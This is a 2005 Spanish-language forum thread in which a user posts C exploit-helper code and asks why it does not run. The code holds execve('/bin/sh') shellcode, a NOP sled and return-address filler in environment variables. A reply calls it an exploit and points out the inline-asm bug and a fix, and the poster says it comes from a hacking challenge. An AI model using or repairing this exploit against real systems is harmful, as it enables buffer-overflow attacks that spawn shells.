Foros del Web » Programación para mayores de 30 ;) » Programación General »

No termina de ejecutarse

Estas en el tema de No termina de ejecutarse en el foro de Programación General en Foros del Web. Cual es el error en el siguiente codigo??? No me termina de printear las cosas en pantalla Muchas Gracias. Código: #include <stdlib.h> #define DEFAULT_OFFSET 0 ...
  #1 (permalink)  
Antiguo 26/10/2005, 21:38
 
Fecha de Ingreso: enero-2004
Ubicación: Tirando del cable del modem
Mensajes: 362
Antigüedad: 20 años, 3 meses
Puntos: 0
No termina de ejecutarse

Cual es el error en el siguiente codigo???
No me termina de printear las cosas en pantalla

Muchas Gracias.

Código:
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_cod(void) {
  __asm__("mov %esp,%ecx");
}

int main(int argc, char **argv)
{
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize=atoi(argv[1]);
  if (argc > 2) offset=atoi(argv[2]);
  if (argc>3) eggsize=atoi(argv[3]);


  if (!(buff=malloc(bsize))) {
    printf("No se puede localizar la memoria.\n");
    exit(0);
  }
  if (!(egg=malloc(eggsize))) {
    printf("No se puede localizar la memoria.\n");
    exit(0);
  }

  addr=get_cod()-offset;
  printf("Usando dirección: 0x%x\n", addr);

  ptr=buff;
  addr_ptr=(long *)ptr;
  for(i=0;i<bsize;i+=4)
    *(addr_ptr++)=addr;

  ptr=egg;
  for(i=0;i<eggsize-strlen(shellcode)-1;i++)
    *(ptr++)=NOP;

  for (i=0;i< strlen(shellcode);i++)
    *(ptr++)=shellcode[i];

  buff[bsize-1]='\0';
  egg[eggsize-1]='\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}
__________________
[^Delyryus^]<<2003>>
[^La ignorancia me corre, pero yo corro mas rapido^]
www.virusinfo.com.ar
  #2 (permalink)  
Antiguo 28/10/2005, 08:36
Avatar de Eternal Idol  
Fecha de Ingreso: mayo-2004
Ubicación: Lucentum
Mensajes: 6.192
Antigüedad: 20 años
Puntos: 74
Se ve muy claramente que esto es un exploit ... dudo mucho que este permitido en este foro.

Lo primero, ¿Te compila? No estas haciendo ningun casting contra malloc que devuelve void ...

Lo segundo, ¿Porque haces esto: __asm__("mov %esp,%ecx");? ¿Que se supone que va a haber en el registro ecx como para que se lo asignes al puntero de pila? Por lo menos en mi Windows cuando haces eso logras que la direccion de retorno se vuelva 0 y por lo tanto nunca llega a: printf("Usando dirección: 0x%x\n", addr); porque nunca retorna de la funcion get_cod. Supongo que eso es lo que te esta pasando tambien ...

¿No tendria mas sentido algo asi como: mov eax, esp? Porque tal como esta ahora get_cod siempre devuelve un valor indeterminado (lo que haya en eax antes de ser llamada).
__________________
¡Peron cumple, Evita dignifica! VIVA PERON CARAJO
  #3 (permalink)  
Antiguo 28/10/2005, 18:43
 
Fecha de Ingreso: enero-2004
Ubicación: Tirando del cable del modem
Mensajes: 362
Antigüedad: 20 años, 3 meses
Puntos: 0
asi es idol, es un xploit, pero no confundamos, aclaro antes de que me cierren el topic no es un xploit funcional (por lo menos eso dice la web) esta hecho para pasar un reto en hackyashira.com uno de los retos consiste en correjir el error de este code presente y como no se nada de programacion , decidi pedir ayuda aca

Asi que muchas gracias, ahora mismo lo estoy probando!!!
__________________
[^Delyryus^]<<2003>>
[^La ignorancia me corre, pero yo corro mas rapido^]
www.virusinfo.com.ar
  #4 (permalink)  
Antiguo 29/10/2005, 01:51
Avatar de Eternal Idol  
Fecha de Ingreso: mayo-2004
Ubicación: Lucentum
Mensajes: 6.192
Antigüedad: 20 años
Puntos: 74
Que manera de hacerme perder el tiempo al pedo, ¿No te parece?
__________________
¡Peron cumple, Evita dignifica! VIVA PERON CARAJO
  #5 (permalink)  
Antiguo 29/10/2005, 13:02
 
Fecha de Ingreso: enero-2004
Ubicación: Tirando del cable del modem
Mensajes: 362
Antigüedad: 20 años, 3 meses
Puntos: 0
jeje che perdon!! no sabia que te iba a hacer perder el tiempo con una consulta!! me pense que los foros eran para esto no?? si tengo alguna duda la pregunto y el que me quiera responder me responde Lo digo sin ganas de ofender a nadie :D
__________________
[^Delyryus^]<<2003>>
[^La ignorancia me corre, pero yo corro mas rapido^]
www.virusinfo.com.ar
  #6 (permalink)  
Antiguo 29/10/2005, 13:09
Avatar de Eternal Idol  
Fecha de Ingreso: mayo-2004
Ubicación: Lucentum
Mensajes: 6.192
Antigüedad: 20 años
Puntos: 74
¿Te parece que eso es una consulta? ¿No era un reto? Si es un reto significa que lo tenes que hacer vos no que tenes que pedir ayuda en un foro. ¿Acaso pensas hacer lo mismo para tus trabajos o examenes?
__________________
¡Peron cumple, Evita dignifica! VIVA PERON CARAJO
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 18:52.